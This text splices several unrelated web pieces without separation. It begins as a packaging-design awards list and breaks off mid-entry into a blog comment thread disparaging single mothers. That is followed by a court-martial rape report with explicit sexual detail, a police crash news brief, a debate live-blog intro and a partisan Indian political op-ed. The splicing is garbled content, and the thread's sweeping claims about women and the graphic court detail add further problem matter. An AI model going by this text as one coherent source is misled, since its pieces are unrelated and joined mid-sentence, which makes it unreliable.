For glass manufacturer Owens-Illinois, VersaFlow represents a glass innovation aimed squarely at re-imagining, improving and enhancing the food category, while deepening brand owner, retailer and consumer engagement with glass.
View Case Study
2nd Place: Not For Sale
Designed by Hall
Over 25,000 women work as prostitutes in Amsterdam. Not For Sale is a non-profit organization that stops human trafficking, providing dignified work for women vulnerable to exploitation in Amsterdam and abroad. In Amsterdam’s Red Light district, Not For Sale offers culinary training to the vulnerable, helping them prepare soups for others working in the brothels. Our job was to create a story, an identity and a series of products that was as powerful as their name and mission. Not For Sale transforms the exploited into the empowered. With each jar, women are promised a new future. This soup is Not for Sale. We are Not For Sale.
View Case Study
3rd Place: Mighty Rice
Designed by mousegraphics
What is mighty-er than rice? Mighty Rice, of course! mousegraphics was asked to design packaging for Mighty Rice. "To meet the expectations of an overseas based client was a challenge we accepted with enthusiasm. Our design approach developed through a series of emails and Skype calls between Athens and the exotic Mauritius, whilst we gradually absorbed the information that described this food product as ethically cultivated and dynamically positioned in the contemporary market. This experience was incorporated into the design framework. Thus, a mighty combination between the stated, the symbolic and the imaginary emerged. The essence of the island and the grain -the basic unit of every rice production- are rendered visible through clear, dynamic albeit elegant, transparent, duo-chromatic (b&w), non-folkloric design choices."
View Case Study
Merit: Natural Delivery Pack
Designed by Grupo imasD S.A.S
An integral packaging design is developed for Natural Delivery, a delivery service of healthy food. The unique structure of the folding box integrates an optimal and safe transport. To limit waste, time and increase ease of use and personal experience, the structure can also be doubled as a plate and a placemat.
View Case Study
Merit: Qizini premium pizzas
Designed by Brandnew
Qizini launched a brand with quality, fresh, and convenient products that would stand out in the retail environment. The premium pizzas are part of an assortment – richly topped with beautiful high quality ingredients and superior taste.
View Case Study
DAIRY, SPICES, OILS, SAUCES, AND CONDIMENTS
1st Place: Bzzz
Designed by Backbone Creative
Bzzz's super-premium, all-wood packaging was developed not so much as a pack, but a pack that becomes a permanent piece of one's kitchenware. It gives a totally new spin on the idea of a household honeypot. Developed originally a gift for VIP banking clients in Russia, the response has been so positive that the brand is in production for a full-scale international roll-out.
View Case Study
2nd Place: Posh Birds
Designed by Springetts Brand Design Consultants
Posh Birds is a new premium egg brand created and developed by Springetts Brand Design Consultants and launched by Noble Foods.
Springetts was approached by Noble Foods, who wanted to introduce a speciality and rare breed egg brand into the fixture. Springetts developed the Posh Birds brand with the aim of making this niche product category more accessible to the mainstream shopper.
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3rd Place: My Olive Tree
Designed by mousegraphics
The famous Greece design firm, mousegraphics, asked to create a product identity - naming and packaging design - which was meant to address, first of all, the members of a Greek family of olive oil producers in Karpofora, Messinia. "It is very rare for a client to come to us with the simple request of "creating a family gift", but this is exactly what happened in this case. We had to pay tribute to a strong, living tradition and this is exactly what we did. We used a children's drawing of an olive tree and we placed every family member's name on its branches. We named the product, "My olive tree" because this is exactly what it is: the precious olive tree which, identified with one family tree symbolizes the bonds, efforts and legacy of this one family and is offered to a number of other such families around the world, in the form of an 'olive oil' present."
View Case Study
Merit: Madonna Dell/Olivo Special Edition
Designed by nju:comunicazione
Madonna Dell/Olivo is an award-winning extra virgin olive oil produced by Antonino Mennella on his 2000-tree farm located in the Southern Italian region of Campania. This year will see the launch of a special, 2013 edition Madonna Dell/Olivo with a packaging solution, developed by multidisciplinary design studio NJU, which leverages - through a distinctive 1.5 litre magnum bottle choice, texture and etched illustrative detail - the heritage, high quality and celebratory spirit associated with champagne and the experience and passion of a craftsman.
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Merit: A Couple of Drops
Designed by Beetroot Design Group
A Couple Drops is the respectful turn to the human need and wellbeing - to our tradition, to our roots - the return to the Greek Islands.
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CONFECTIONARY, SNACKS, & DESSERTS
1st Place: OOH OOH AH AH! Banana Jam
Designed by Peck & Co.
OOH OOH AH AH! is all about fun. Emilie Wildiers came to us with the idea of building a new brand around her unique, banana-based jam recipes. She runs a well-known company in Belgium that has been creating various jams and jellies since the 80′s. But, this is not just another condiment to add to the pantry. It’s deliciously different. A shareable delicacy for every member of the family, from choosy moms and dads, to the kids.
"The name we came up with is unmistakable in any language. Say it out loud, and you can’t help but smile. We developed a central hero for the brand (“Nom-Nom” the monkey), who gets increasingly excited as he tries each delectable flavor."
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2nd Place: 'lette gift box à la ronde
Designed by a l m project inc.
The 'lette gift box à la ronde transforms the brand icon into the package itself – gift box as a grand gesture. Removing the lid reveals a field of macarons, each held neatly in place with a custom die cut tray. Recipients of the 'lette gift box à la ronde are invited to select flavors just as they would pick a bouquet from a field of flowers; transporting the experience of visiting a 'lette bakery to home or office.
Let them eat macarons! The 'lette gift box à la ronde comes in Silver and Violet and holds 60 macarons.
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3rd Place: The Four Fat Ladies
Deisgned by Matter
Four lively women that are passionate about baking came together to create a warm and friendly bakery that serves the most delicious American pastries in town.
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Merit: Trick or Treacle
Designed by Design Bridge
After the success of our limited edition Jubilee tin, Tate & Lyle asked Design Bridge to create one for Halloween, to help create more appeal at what was traditionally a quiet time of year for their Black Treacle brand. Design Bridge created not one tin but three, a collectable trio of ghoulish carved pumpkins that were designed to sit alongside each other on shelf and communicate with consumers. An adult brand that now engages with kids.
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Merit: Maison Dandoy
Designed by Base Design
Founded in 1829, Dandoy is a traditional Brussels bakery who provides itself with a rich heritage of savoir-faire and artisanal craftsmanship. Base Design's solution for Maison DanDoy is a playful take on a long-established historical legacy: the new Maison Dandoy brand is built on a toolbox that consists of a logo, typography, illustrations, the color palette black-gold-white, and simple packaging to reduce waste.
The visual part is enriched with brisk copywriting, from a new brand manifesto and a new baseline - Maison Dandoy, Spectaculoos Speculoos - to several taglines, craftsmen's portraits, speculoos figurine dialogues, and other stories written in a no-nonsense, humorous tone of voice. From now on, Maison Dandoy is a brand with a consistent, recognizable voice.
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NON-ALCOHOLIC BEVERAGE
1st Place: COFFEE SUPREME
Designed by Hardhat Design
Coffee Supreme’s take-out cups were already known in NZ and Australia for being unusual, distinctive and quirky, so while we knew from our re-brand brief that they wanted the brand to ‘grow up’, it was important they didn’t lose their individuality.
The cups were also a great place to put across the company's character & principles; their love & enthusiasm for the handmade craft of making coffee, their confident and quirky nature, their approachable and supportive staff, and the importance they placed in staying true to the good old fashioned standards the company started out with.
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2nd Place: BOLU TEA
Designed by Curious Design
Bolu are purveyors of fine quality tea, directly sourced from Fair Trade plantations in Darjeeling, North India. "Our client's brief was to design a suite of original, contemporary packaging that created an overall 'umbrella' look to the consumer, but that also reflected the individuality of each tea variety."
The starting point to achieving this goal was the creation of a totally unique pack shape. Curious worked closely with Think Packaging on this process. After exploring many options, their packaging ninja came up with a revolutionary solution, which culminated in a perfect balance of aesthetics and function. Visually the pack looks completely harmonious-due to the integration of flowing, curved lines that echo traditional Indian architecture. However form is nothing without function, so the true genius was ensuring that this unique pack was also cost effective to produce and easy to assemble. Curious then designed sumptuous iconography and fused with it with a vibrant colour palette, to create a contemporary range of packs. Bolu and Curious-just your cup of tea!
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3rd Place: Paris Baguette Koffy
Designed by Karim Rashid
Logo, branding and packaging for a top-quality coffee beverage designed by Karim Rashid for Paris Baguette. The Koffy logo graphics and glass bottle form give the beverage the shape and look of a coffee bean.
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Merit: Mio
Designed by Landor
Small, Fun, Intuitive, Innovative Water Enhancer. It mixes the user’s personal taste and style to create a new experience every time. Far more than flavor, Mio empowers people to transform any liquid into their own unique beverage, fulfilling a role that no other brand has done before.
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Merit: The Art of Tea Collection
Designed by OD
Deac wanted a new concept for their restaurant quality tea and OD rose to the challenge. The main goal was to liven up the hospitality industry’s boring world of tea-drinking. Not only that, Deac wanted the individual packaging to be easily disposable. Inspired by paintings in watercolors, OD developed a rich and inspiring world of tea. The tea assortment consists of large packaging that contains unique single-packs. To be specific: a single-serving package, drip tray and disposable paper in one! To top off this unusual hospitality concept and make it attractive to customers and owners alike, a special tray was designed in the style of a painter's palette.
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Merit: Love in a cup
Designed by Elmwood
'Love in a cup’ is a promotional pack of tea, created by Morrisons as a fun and unique gift. Intended to capture a moment between loved ones, it’s the perfect way to simply say I love you. The tea bags come with five different romantic messages on the tags, to show your loved one you care every time you put the kettle on. The charming pack design incorporates a handwritten typography style and hand-drawn imagery, which adds a sense of occasion and romantic fun to an everyday task. Sometimes it’s the simplest things that create a tender moment between loved ones, from new couples to older married ones.
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BEER, MALT BEVERAGES, & TOBACCO
1st Place: Ippon Matsu Beer
Designed by Kota Kobayashi
“Ippon Matsu” means “one pine tree.” In the city of Rikuzentakata, on the northeastern coast of Japan, some seventy thousand pine trees lined the shore and, for decades, they stood as a place of national scenic beauty. On March 11th, 2011, the tsunami nearly swept the entire city off the map. Out of the great forest that once stood, only a single pine remained. For the survivors of the disaster, that one tree became a beacon of hope.
This beer’s design represents a symbol of charity and hope for Japan’s brighter future. A scroll-like, handwritten label seals the top with the story of Ippon Matsu written on the inside. The label is a solitary pine made of three triangles that are facing up, symbolizing the wish for progress in the reconstruction efforts.
The purpose of Ippon Matsu Beer is to spread the message of charity, raise awareness and help the victims of the 2011 tsunami. All profits are donated to the reconstruction efforts in Japan.
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2nd Place: Mateo & Bernabé and Friends
Designed by Moruba
Mateo & Bernabé is the first craft beer from La Rioja, Spain - designed by Moruba. Mateo & Bernabé are Saints of La Rioja, the company takes it name from these two saints, these are the company's first two beers. In the future, they could to make more beers, and the names of these future beers will be other saints, like Santiago, Fermín, Patricio,… That's why the brand include "and friends".
In the label, the red number represent the day of the Saint which is a holiday and that's why is red. Above the number is the drawing of a fish or a billhook.
The fish reference the history of Logroño. In 1.500 when the french army invaded the city, the people survived eating fish, that they caught in the river at night, thanks to this, they defeated the enemy on the 11th of june, the day of St. Bernabé. This story is on the back label. The billhook, is a symbol of the grape harvest. St. mateo is on the 21st of september, he is the saint who takes care the land and the harvest. This day is a big party because wine is very important for the people in La Rioja. Also this story is on the back label. The neck label has got the stories of Mateo and Bernabé. These labels reflect the "Glocal" concept, the beers are made in La Rioja, with a local design but they tell an interesting story to the whole world about our land.
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3rd Place: Velkopopovicky Kozel
Designed by Yurko Gutsulyak
It was necessary to create the design for the limited edition of Velkopopovicky Kozel beer. The project is aimed at emphasizing the values of the famous Czech brand and enlarging the number of its fans. The design of the limited edition reflects the ancient traditions as well as the mastership of the Czech brewers. Every can is a part of the Old Czechia.
Beside the collectors’ design, the Velkopopovicky Kozel beer offers gifts to everyone who will unravel the special message that is encoded on the can.
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Merit: Stoutnik
Designed by Hired Guns Creative
Competition for visibility on a West Coast craft beer shelf is fierce. Stoutnik's frosted matte black bottle is immediately visible from a distance and printing techniques not usually seen on craft beer labels increase the differentiation even more. The constantly changing colours of the satellite-esque foil stamp draw the eye as the customer walks past. The stylish, sparse, contemporary design compels him to pick up the bottle. The story told in blind-embossed Morse Code seals the deal, propelling him from a state of curiosity towards a confirmed launch plan.
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Merit: Ticketybrew
Designed by Carter Wong Design
Briefed by entrepreneurial brewer, Duncan Barton to create the name and packaging for his start up business, Carter Wong Design first set to work trying to discover a memorable name that would then lend itself to a graphic treatment when it came to designing the label and overall identity. "Beginning initially with just two brews, a Belgian Dubble and a traditional Pale Ale, and brewed in limited numbers it was important that we found a very cost effective way of producing and printing the finished label designs."
All parts of the brief fell into place once we’d decided on the brand name, being a take on the word ‘Ticketyboo’, meaning everything is going alright and proceeding quickly, something Duncan’s business was certainly starting to do. Therefore with a slight twist appropriate to his venture the name ‘Ticketybrew’ was agreed and from then on the design solution virtually solved itself.
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WINE & CHAMPAGNE
1st Place: Safeway Bottle Sleeves
Designed by by Stranger & Stranger
Stranger & Stranger teamed up with winemaker Truett Hurst and retailer Safeway to launch an innovation initiative aimed at spicing up the look of our wine shelves. Stranger identified 22 niches and buying occasions that might benefit from enhanced packaging and developed a patented bottle sleeve that contains everything from quotes to recipes.
Says Kevin Shaw, Founder and Creative Director of Stranger: “The idea came from our own No.13 pack. We created brands in a packaging format that stands out and adds value, interest and gifting opportunities. The added real estate that the over sleeve gives us has allowed us to engage with people in a way that a tiny back label never can. Everyone just wants to pick up and read these packs."
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2nd Place: WINES OF THE WORLD
Designed by Lavernia & Cienfuegos
This is a range of wines that Belgian supermarket chain Delhaize offers within its own brand “365”, which includes simple, everyday products at affordable prices. The cork is a sign of humility, an object of little value, often used as craft material, as a simple and easily manipulated element with which to play and create. The use of cork gives it the air of something simple, typical of an everyday product. The cap is the element that unifies and personalizes the whole range. The motif designed for each label refers to the country of origin.
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3rd Place: Rasurado
Designed by Moruba
Creation of concept and packaging for Rioja D.O. wine. The objective of the project was to choose an icon that tells a story, impressive packaging that will stand out from the competition. There were no other requirements.
The solution was simple - the icon of a barbershop, cylindrical in shape like a bottle, easily recognized and attention-getting outside of its normal context, the name RASURADO (clean-shave/shaven), alluding to the barbershop, the perfect shave, and a story: the town barber, who after years of shaving the region´s wine markers knows all the secrets of their trade, makes his own wine - the barber´s wine.
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Merit: Winehouse
Designed by PROUDdesign
Winehouse (“wijnhuis”) stands for good wine, in a good house for a good cause. A Dutch initiative from a local wine expert and designer. The first one selected a beautiful organic wine. The other designed the bottle and the packaging. Built with layers of recycled carton from old wine boxes. Produced with friends and small companies and the profit will go to an Amsterdam foundation for the homeless.
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SPIRITS
1st Place: VL92 GIN
Designed by Rare Fruits Council
VL92 Gin was born of the quest of two entrepreneurs to find their ultimate gin. Built upon a malt wine foundation, VL92 Gin has its roots in the Dutch genever tradition. The malt wine gives it its boldness; its complexity derives from the play between botanical elements that finish with the eccentric, citrusy endnote of a most surprising ingredient: coriander leaf. The gin is named after a historic Dutch sailing vessel whose freight contained exotic spices too daring for the local genever recipes - but wildly perfect for a VL92 Gin.
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2nd Place: John Walker & Sons – Diamond Jubilee
Designed by Raison Pure NYC
John Walker & Sons Diamond Jubilee is a very limited edition whisky created as a tribute to Her Majesty Queen Elizabeth II’s 60 years of enlightened leadership. To mark this historic occasion as a royal warrant holder, Johnnie Walker asked Raison Pure NYC to become the creative force and Art Director for all the design and creative aspects of the project.
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3rd Place: Absolut Unique
Designed by Family Business
Absolut Vodka have for years led the innovation in vodka packaging, with limited edition packs like Absolut Disco, Absolut Rock and Absolut Illusion. For 2012, it was time to redefine limited editions it self.
The idea was to make four million unique bottles, so that each and every bottle becomes a limited edition in itself. We had to rebuild the production line, and use every possible aspect of glass decoration in a new way.
The campaign ran globally between september and december, and sales have been amazing, as well as media coverage.
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Merit: ABSOLUT TUNE
Designed by The Brand Union
The brief was to create a product design for an unexpected blend that brings together a Sauvignon Blanc from the world-renowned Marlborough region of New Zealand and ABSOLUT VODKA.
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Merit: The Balvenie 50
Designed by Here Design
"The brief was given to Here Design to create a special packaging for an extremely are 50 year old single malt, released to celebrate the work of The Balvenie Malt Master, David Stewart, favoured by whisky connoisseurs around the world. David has dedicated his entire working life to the art of single malt making and is one of the most respected craftsmen in his field. Exactly 50 years to the day that David joined the highland distillery as a seventeen year old apprentice, his incredible devotion is being recognized with the release of a rare cask of The Balvenie single malt distilled in 1962. Just 88 bottles of The Balvenie Fifty will be available, with an RRP of £20,000 per bottle.
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HEALTH & BEAUTY
1st Place: Oxford
Designed by The Bakery
Oxford is a new tissue paper brand that The Bakery Design Studio developed from scratch. The idea was to create a completely new look for such a mundane product. "We started with a name to give it some character, create a matching logo and a stricking uniform to match. Though constrained with the packaging format and materials, we found an original way to brand not only the existing product, but the ones to come as well."
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2nd Place: SOLCARE
Designed by Lavernia & Cienfuegos
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their hands full” with these fiery, man-hating WIVES and mothers!
So, I think until the intact family truly makes an impression upon the single mothers, they certainly don’t think what they are doing is anything odd by emasculating the father of their children publicly. Andrew should most definitely lead by example, as he is doing now, but further, perhaps a godly woman needs to speak to this woman (Titus 2) about the proper way to raise children to revere their father, whether or not he lives in the household. I think it would be more well-received by the offending single mother coming from another woman, especially since these women already see themselves as a “sisterhood”.
Again, overall single parenthood is a sad state of affairs laden with sins and issues for both mother and children, and especially the often displaced and forgotten father. However, it goes on in the “traditional, professing Christian, nuclear family” as well. It is a bitter and evil root that needs to be ripped out and tossed into the fire!
George writes:
Laura said: ” Yes, I agree that many women don’t understand what they are saying and need to be corrected.” Any idea why they don’t understand? I’m sorry to beat a dead horse, but the damage being done is as obvious to me as the sun in the sky and I find that I really can’t see this woman’s point of view. I assume that women like this are either 1.) outrageously brutally incompetent, or 2.) evil. As a side note I have to wonder if this isn’t part of what’s fueling the MRA guys. They see this behavior and assume answer number 2. Laura said: “Still, I think it might have been embarrassing and humiliating if Andrew had brought it up in front of his nephew.” That is actually the entire point of doing it. Obviously this woman can’t pick up on subtleties, so people like Andrew’s sister won’t change if they aren’t publicly humiliated. I’ve dealt with people like this for years, they only listen when someone is screaming in their face, anything less and the volume is too low for them to hear. [Laura writes: I meant humilating for the son, not for her. I agree it would have been right to confront her if he had not been in the room.] Andrew writes: I have confronted my sister about this issue before, and she reacted violently. I chose not to push this issue on this occasion because we were staying in the condo/time share of a close family friend and did not want to trigger my sister’s violent temper, which is another issue altogether. But Laura hit the nail on the head: We (mother, brother, and myself) are all afraid it we push too hard, that my sister will just cut off all contact and refuse to let her son visit any of us. She has done this before. We have come to terms with the fact that we will all get a few weeks out of the year to try and undo the harm being done to him. As for my niece, Laura is correct, she has grown into a dysfunctional young woman. I don’t really want to go into the details, but she is in her early twenties, unemployed, in a meaningless relationship, and was recently dishonorably discharged from the Army. When she was a young girl, both my brother and I had regular (at times daily) contact with her. However, about the time she was starting middle school, she moved away and had no male role models. Over the years we could all see a change in her: declining grades and interest in school, less self confidence and respect, and less respect for adults and even her own peers. Laura writes: That too is tragic. This girl fits the pattern of behavior for girls with no fathers. In response to George, when women make blanket statements about aggression, they are speaking from a feminine perspective and they don’t naturally understand the masculine view. As for this particular woman’s hostile comments about all men in front of her son, I don’t understand that except that she is nursing grudges and perhaps thinks men have no feelings at all. Mark Jaws writes: Maybe the roots of hostility towards men run deeper. It could very well be that some of these women faced indifference or hostility from their fathers. For example, my father was not a kind or affectionate man. He rarely showed positive emotion and he never said to his four children, “I love you.” He never cuddled his two daughters and to this day, my 48-year-old sister remarks that she never sat on her father’s lap as a child. Such emotional deserts do not cause flowers of love and apprection towards men to bloom. Laura writes: But would a cold father lead one to lash out at all men? If men routinely spoke dismissively of all women, would we excuse it if their mothers had been unloving?
Brendan writes:
Unfortunately, I do not think that it is uncommon for people who are divorced, and who have had less than satisfactory experiences with their ex-husband or ex-wife, to channel this into a more generalized distaste for the opposite sex. full stop. Men behave this way, too, after divorce, but the difference is that because women more often have custody of the kids, their hatred impacts the next generation more substantially. My guess is that Andrew’s sister genuinely believes that men are useless and is trying to raise her son to not be “like men” on purpose — that is, she thinks she is helping him by raising him to be “unlike most men”, again because she believes most men are useless. As Laura rightly notes, this will impede him from normal function when he attains adulthood, particularly when it comes to being attractive to the opposite sex, but I can imagine that this is the last thing on his mother’s mind. The best way to mitigate this syndrome after a divorce is for the father to remain very actively engaged with the boy. That depends on both the father (being willing to be engaged and being helpful when engaged — seems like isn’t the case with his dad, sadly) and the mother (being willing to have the father engaged and supportive of that — doesn’t seem like the case here, either). It still results in a lot of negative impacts for the children, but the less engaged the father is, or is allowed to be, the worse the impact gets, because the mother frankly has no-one else balancing out her parenting style and views. It impacts both girls and boys, too, but each in different ways. While a boy raised by a man-hating single mom may display the issues mentioned here, a girl raised that way will tend to display other issues, such as true discomfort with males right off the bat coupled with acting out sexually to get male attention/affection, which are missing and/or not modeled in her home life.Having said all of that, our culture not only celebrates single motherhood but is completely schizophrenic when it comes to fatherhood. On the one hand, we ritualistically beat fathers around the ears every Father’s Day, reciting pious platitudes in the manner of Buddhist mantras, while at the same time plying the culture with article after study after film stating that men are not needed, fathers are not needed, and “the kids are alright” without a dad. It’s schizophrenic. I think the culture is that way because the bottom line is “it depends on what mom wants” — in other words, if mom wants the father involved, damned straight he must be, and we will beat him up for not meeting her desires, but if mom doesn’t want any father involved, damned straight she should do that, and no men are neeed and so on. It’s all about the woman’s choice, these days, in everything, including fatherhood. Fathers exist, in this culture, at the whim of the mother, and how we treat fathers (either as deadbeat bums who need to be beaten into responsibility, or as anonymous, unnecessary sperm providers) depends on the whim of the specific mother, too. It truly is matriarchy, now, when it comes to family life. George writes: Laura wrote, “perhaps she thinks men have no feelings at all.” I was nodding my head in agreement when I read this. I was in my early 20’s (long before I knew about “game” or MRA, etc) when I first noticed that a lot of women seem to casually disregard the feelings of men. It seemed as though they either didn’t care about men’s feelings or, as you pointed out, they seem to think men don’t have feelings. Again, this belief is very strange to me and I don’t know where it comes from. I’ve actually had the experience, on several occasions, where I told a woman friend and a girlfriend that a certain behavior hurt my feelings. My exact words were: “It hurts my feelings when you do that, please don’t do it again.” Both times I was blown off by these women. I don’t think I could have made myself any clearer than I did. This is something else I don’t understand: I couldn’t be more direct and yet it was like they couldn’t hear me or something. In fact, after I broke up with the girlfriend, a woman I knew asked me about what happened. I told her what went on and she told me that she didn’t believe that my feelings were hurt. Which makes me wonder if the girlfriend also thought the same thing. I have no idea if my experience with this is common among men or not. Laura writes: I think women generally underestimate how feeling men are. Some of this is natural as men are less emotional than women; they are less demonstrative and more aggressive. So women confuse this with hard-heartedness. But, culture plays a large role in the extremes that George describes. Feminism has encouraged women to view men as indifferent to others. After all, if men oppressed women for thousands of years, what else are women to conclude but that men are innately insensitive? David C. writes: George said: “I have no idea if my experience with this is common among men or not.” At least one of us can relate to your experience. Though I cannot recall specific examples, perhaps because I was so hurt by them that I was unable to really process what was happening, there have been occasions in my life as well when women refused to believe that their behavior hurt and offended me, though I also expressed this fact outright. Their refusal to acknowledge my feelings only compounded the hurt they originally caused. That sort of response frightens me a bit, especially if it does, in fact, occur frequently: if you cannot acknowledge someone’s feelings, how is it possible to recognize their humanity? And if you cannot recognize their humanity, what restrains you from treating them however you wish? I guess the proof is in the pudding: there are many women, though clearly not all, who do in fact treat men however they wish. And many men are deeply hurt for this. I think this problem can sometimes go further than mere dismissal. That is, women have sometimes responded to my honest expressions of hurt or difficulty with scorn and contempt. It is as though they thought I was less of a man because I could be hurt. This, again, was a dehumanizing experience. As far as I’m concerned, all of this goes to the point Laura makes in her entry, “Come Holy Spirit,” which is the same point I tried to make in a recent article at The Spearhead. We Christians really must unite in prayer to restore our country. After all, our efforts to solve such complex and enormous problems may cause more harm than good unless they are infused with the grace of Christ. Apart from this, it is perhaps not so important to change our country as to change ourselves, to change the way we meet the sorts of injustices we are describing. In prayer Christ can strengthen us to suffer as He did — with love and dignity. Please excuse me if I sound preachy, but I strongly believe we need to emphasize, above all, the fact that prayer will be indispensable to the healing of this country.Lt Nicholas Robinson denied raping a female sailor when he appeared in the dock at a military court today
A Royal Navy lieutenant has been cleared of raping a female sailor twice after she lap danced for him naked in her hotel room.
Nicholas Robinson, who is based at Abbey Wood in Bristol, was accused of carrying out a sex attack in a Radisson Blu hotel in Bahrain, when his ship was in the Middle East.
He went back to woman's room after a party attended by a large number of military personnel. She offered him a dance as they drank wine together.
The woman gave him two lap dances and during the second she stripped naked, rubbed her breasts in his face and licked him through his underwear before they had sex on her bed.
When the pair woke in the morning they had sex a second time before he left the the hotel and returned to his frigate which was docked at the island.
Lt Robinson had been accused of pinning the woman to the bed and attacking her, before they both fell asleep and she claimed she awoke to find him raping her again in the morning.
The female sailor also told a court martial she had only performed the dances because Lt Robinson had been pestering her and she hoped it would stop him from making any further sexual advances.
However, he denied three counts of rape and one of count of sexual assault by penetration - instead saying the woman had 'taken the lead' as she enjoyed turning him on.
Today a board of senior officers at Portsmouth Military Court cleared Lt Robinson of all four charges, after deliberating for one and a half hours.
During a five day trial the board heard the pair ended up in her hotel room after the party.
Lt Robinson had intended to return to his warship but instead decided to go to an after-party in the Radisson Blu, where she was staying.
After calling the ship from her room, they began chatting while sat on the edge of her bed and she offered to give him a lap dance.
The court heard the female sailor put on music on her laptop before beginning to dance for Lt Robinson.
During the first dance, which he said lasted between ten and 15 minutes, she removed his waistcoat and shirt and took all her clothes off except her knickers.
Nicholas Robinson, who is based at Abbey Wood in Bristol, was accused of carrying out a sex attack in a Radisson Blu hotel in Bahrain (pictured), when his ship was in the Middle East
He told the court: 'She was taking the lead during what happened between us.
'She was running her hands through my hair and gyrating on me. In the end, she stopped with her face just inches from mine as if she was going to kiss me, but she didn't.
'She was enjoying what she was doing, she enjoyed turning me on with the dance.'
Lt Robinson said the woman then told him of a'special dance' which men at lap dancing clubs would pay extra to have performed in a separate room and offered to do one for him.
The prosecution claimed the woman had told Lt Robinson to stop a number of times and the sex had not been consensual - with the pair having discussed bondage beforehand
He added: 'I was in my underwear and it was a lot more physical than the previous dance.
'She was rubbing herself on me, rubbing her breasts in my face, she went down on her knees and traced round the outline of my penis through my underwear with her tongue.
'Then she leant back and began masturbating in front of me.
'We then moved on to the bed and had sex with each other. At no point did she say no or ask me to stop.'
The prosecution claimed the woman had told Lt Robinson to stop a number of times and the sex had not been consensual - with the pair having discussed bondage beforehand.
But Lt Robinson said they had not discussed safe words or bondage sex and that the female sailor had been a willing participant both times they had sex and when he performed oral sex on her in the morning.Peel Regional Police constable Brandon Strain faces allegations of dangerous driving causing death in connection to the crash that killed 41-year old Nelson Arruda of Brampton.
Strain was driving his patrol car when it collided with Arruda, who had been riding his motorcycle back home from visiting his late daughter's grave.
The crash happened on Father's Day weekend, near Tomken and Derry Roads in Mississauga.
Ontario's police watchdog agency says it has probable cause to believe the officer committed a criminal offence in connection with the death, but did not release details.
The Special Investigations Unit is an arms-length agency that investigates situations involving police in which someone is killed, injured or accused of sexual assault.
Strain's case come to court early next month.
(with files from The Canadian Press)The first presidential debate was a head-scratcher, raising profound questions like: What is that man doing there? Why is no one telling him to shut up? What is he talking about? And why is he sniffling?
In the few brief moments in which a scowling Donald Trump was not engaged in free association about himself, not interrupting Hillary Clinton, and not sniffling, a few matters of substance emerged. That’s what The Intercept staff mostly focused on during our live-blogging of the event. We went beyond fact-checking the event to add some much-needed context.
There was some unexpected news: Trump endorsed a no-first-use policy on nuclear weapons, something neither Clinton nor President Obama are willing to do.
Our reviews of the moderator, Lester Holt, were profoundly negative, especially about his refusal to control Trump and his decision not to ask the most important questions.
The sexist view certain male pundits have of Clinton was on full display before and after.
And don’t miss Jeremy Scahill on the hard-partying surfer turned master assassin who is Trump’s guest at the debate.
See below for what we posted, categorized by topic. Did the debate go as you expected? What did we miss? Tell me in the comments or on Twitter.
Moderator
Sexism
The issues
Fact-checking
Debate politics
Donors and sponsorsAmit Shah is leading the fortnight-long padyatra organized by his party and the RSS in Kerala. Simultaneously, the BJP-RSS have declared a daily demonstration at the CPI(M) headquarters in Delhi for the same period and in all state capitals against what they term "red terror" against the RSS by the CPI(M) in Kerala.
Yesterday, the first demonstration at the CPI(M) office was led by Jitender Singh, the minister in the Prime Minister's Office. So here we have an unprecedented political action by the ruling party running the central government in which the PMO is directly involved, demonstrating at the headquarters of a legally-recognized political party that is currently running two state governments.
The BJP is welcome to do so. In any case, with the police directly under the control of the central government, no one will dare deny permission, more so when the PMO is involved and when union ministers are leading the demonstrations. This is in spite of the problems commuters will face for two weeks as the daily demonstrations will block one of the most busy thoroughfares where the CPI(M) office is located in the heart of the capital. When political parties opposed to the BJP start demonstrating at BJP headquarters, hopefully they too will not be denied permission, or when workers and slum dwellers demand to march through these same roads, they too should not have to face barricades and water cannons.
The deployment of all the BJP-RSS brahmastras from Chief Ministers and union ministers to party leaders shows how desperate the BJP-RSS combine is to put the CPI(M) and the LDF in Kerala on the defensive. It has recognized that the Left and the red flag is a major hurdle to the Hindutva agenda both ideologically and through its pro-people alternate policies. It hopes to use its power at the centre to intimidate, bully and silence the CPI(M). But this is not going to happen.
Many decades ago, the Nazi ideology which inspired the formation of the RSS promoted the theory of the big lie. The Nazi regime's Propaganda Minister Joseph Goebbels held that a lie told often enough becomes the truth. This is what the BJP lie-manufacturing machine is doing. In fact it can be said that the only manufacturing flourishing in India under the Modi regime is the manufacturing of lies in the RSS-BJP factories.
It claims that it is the victim in Kerala. This is far from the truth. Kerala police figures tell a different story. Between 2000-2016, 85 CPI(M) workers were killed by the RSS and in the same period, 65 RSS workers were killed.
It is horrible that a body count should be required for refuting the RSS' lies, but in this case, it is necessary to show that the RSS is not the victim as claimed by them. The first killing since the LDF took office was on the day that the election results were declared. RSS workers hurled bombs at a victory procession in the Chief Minister's own constituency, killing Raveendran, a CPI(M) supporter rejoicing in the victory of his leader Pinarayi Vijayan. Amit Shah's yatra started from Payyanur in the same constituency. This is the very area where, in June this year, a bomb-making factory reportedly run by the RSS was raided by the police and those involved were arrested. A huge cache of arms was also recovered by the police from a neighbouring place in which RSS workers were involved.
There is no doubt that being in office, the LDF government has the responsibility for ensuring a peaceful environment for democratic and political activity. These incidents are confined to a few pockets, in spite of attempts to spread them to other districts. The LDF government has taken serious initiatives including calling all-party peace meetings, but every time a decision is taken to eschew violence, and all political parties pledge to not support any political workers regardless of their affiliation if they indulge in violent activities, the agreement is broken by the RSS. Even taken from a narrow interest, it is self-evident that it is harmful for the LDF in office if political murders or violent clashes take place. Knowing this, the RSS-BJP is indulging in the most provocative actions to disturb the peace.
One of the examples being quoted by Amit Shah and others is the stone-throwing that took place against the BJP's state office in Thiruvananthapuram on the night of July 27- 28. It is being made out as though it was a planned conspiracy. What is the truth? Late that night, the home of the elected ward councillor who belongs to the CPI(M) was attacked by RSS men. They came on four motor bikes, broke the gate of his home, and smashed glass windows using stones and bottles. His very sick father was injured by the shattered glass. He had to be hospitalized. His five-year-old daughter who was near her grandfather when he got injured was inconsolable and terrified.
The ward councillor tried to follow the men who went in the direction of the BJP office which is near his home. He along with three or four others reportedly stoned the BJP office in retaliation. He was arrested the next day. The CPI(M) State Secretary strongly condemned his action and he was suspended from the party. A strong message was thereby given that such actions, whatever the provocation, are unacceptable. In contrast, the BJP leadership protected the men who had attacked, without any reason or provocation, the residence of the councilor. Even today, the BJP leadership is protecting them. This is the difference. The BJP and RSS by such examples of shielding the guilty are deliberately sabotaging the initiatives being taken by the Chief Minister to ensure peace.
